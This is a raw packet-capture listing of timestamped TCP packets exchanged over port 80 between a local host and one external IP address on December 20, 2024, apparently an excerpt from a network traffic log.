Dec 20, 2024 16:07:10.451582909 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.451597929 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.451603889 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.451611042 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.451625109 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.451636076 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.451637030 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.451652050 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.451654911 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.451664925 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.451678038 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.451692104 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.451720953 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.452348948 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.452363014 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.452397108 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.452414989 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.452461958 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.452474117 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.452487946 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.452501059 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.452522039 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.452528954 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.452542067 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.452553988 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.452565908 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.452569008 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.452606916 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.453250885 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.453264952 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.453278065 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.453291893 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.453294039 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.453310966 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.453337908 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.453339100 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.453351021 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.453361988 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.453375101 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.453382969 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.453388929 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.453402042 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.453408957 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.453423977 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.453449965 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.454227924 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.454242945 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.454253912 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.454267979 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.454268932 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.454281092 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.454291105 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.454294920 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.454309940 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.454320908 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.454323053 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.454339027 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.454339981 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.454351902 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.454361916 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.454370022 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.454402924 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.462373018 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.462456942 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.462589025 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.462657928 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.462888956 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.462929964 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.462944031 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.462985039 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.463083029 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.463126898 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.463953018 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.464004993 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.464010000 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.464051962 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.465177059 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.465225935 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.465270042 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.465312004 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.466042042 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.466104984 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.466134071 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.466176033 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.467039108 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.467096090 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.468056917 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.468071938 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.468102932 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.468121052 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.468141079 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.468175888 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.469042063 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.469089985 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.469254017 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.469295979 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.470096111 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.470148087 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.470309019 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.470380068 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.471131086 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.471179962 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.471390009 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.471434116 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.472124100 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.472188950 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.472327948 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.472367048 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.473110914 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.473160028 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.473261118 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.473304987 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.474580050 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.474622965 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.474967957 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.475008011 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.475155115 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.475197077 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.475287914 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.475330114 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.476231098 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.476279020 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.476310968 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.476349115 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.477257013 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.477305889 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.477324963 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.477361917 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.478214025 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.478256941 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.478524923 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.478569031 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.479234934 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.479280949 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.479677916 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.479727030 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.480273962 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.480319023 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.480524063 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.480565071 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.481256962 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.481300116 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.481626034 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.481669903 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.482278109 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.482331991 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.482518911 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.482568979 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.483333111 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.483388901 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.483676910 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.483726025 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.484353065 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.484366894 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.484414101 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.485436916 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.485482931 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.486032963 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.486085892 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.486399889 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.486413956 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.486450911 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.487498045 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.487548113 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.487756014 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.487796068 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.488472939 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.488523960 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.488593102 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.488639116 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.489639044 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.489698887 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.489743948 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.489779949 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.490442991 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.490487099 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.490726948 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.490781069 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.491512060 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.491564989 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.491822004 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.491863966 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.492527962 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.492569923 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.492885113 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.492935896 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.493470907 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.493516922 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.493655920 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.493701935 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.494524956 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.494568110 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.494623899 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.494663954 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.495553970 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.495605946 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.495817900 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.495860100 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.496551991 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.496606112 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.497507095 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.497556925 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.497598886 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.497612000 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.497637033 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.497659922 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.498589993 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.498644114 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.498889923 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.498939037 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.499591112 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.499639034 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.500072002 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.500121117 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.500683069 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.500736952 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.500776052 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.500814915 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.501658916 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.501710892 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.501928091 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.501971006 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.502674103 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.502724886 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.502839088 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.502885103 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.503664970 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.503716946 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.504014969 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.504054070 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.504705906 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.504754066 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.505064964 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.505108118 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.505759001 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.505770922 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.505799055 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.505820036 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.506863117 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.506913900 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.507127047 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.507174015 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.507823944 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.507864952 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.508012056 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.508058071 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.508747101 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.508799076 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.509057045 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.509108067 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.509850979 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.509893894 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.510169029 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.510211945 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.510786057 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.510837078 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.510848999 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.510885000 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.511868000 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.511917114 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.512140989 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.512188911 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.512804031 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.512851000 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.513032913 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.513075113 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.513827085 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.513873100 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.514652014 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.514693975 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.514863968 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.514875889 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.514929056 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.666462898 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.666640043 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.667695999 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.667737961 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.667762995 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.667773962 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.667787075 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.667841911 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.668917894 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.668956995 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.668984890 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.669008970 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.670306921 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.670346975 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.670373917 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.670394897 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.671566963 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.671606064 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.671696901 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.672899008 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.672935963 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.672965050 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.672998905 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.674175024 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.674233913 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.674237013 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.674269915 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.674287081 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.674316883 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.675571918 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.675609112 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.675640106 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.675659895 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.676846981 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.676882982 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.676928043 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.676939011 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.678188086 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.678222895 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.678251028 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.678277016 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.679493904 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.679528952 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.679558039 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.679569960 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.680943966 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.680980921 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.681014061 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.681029081 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.681063890 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.681072950 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.682271957 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.682288885 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.682332993 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.682356119 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.683600903 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.683664083 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.683680058 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.683733940 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.685127020 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.685170889 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.685194016 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.685220003 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:10.686650038 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.686662912 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.686674118 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:10.686717033 CET	49806	80	192.168.2.5	185.215.113.16
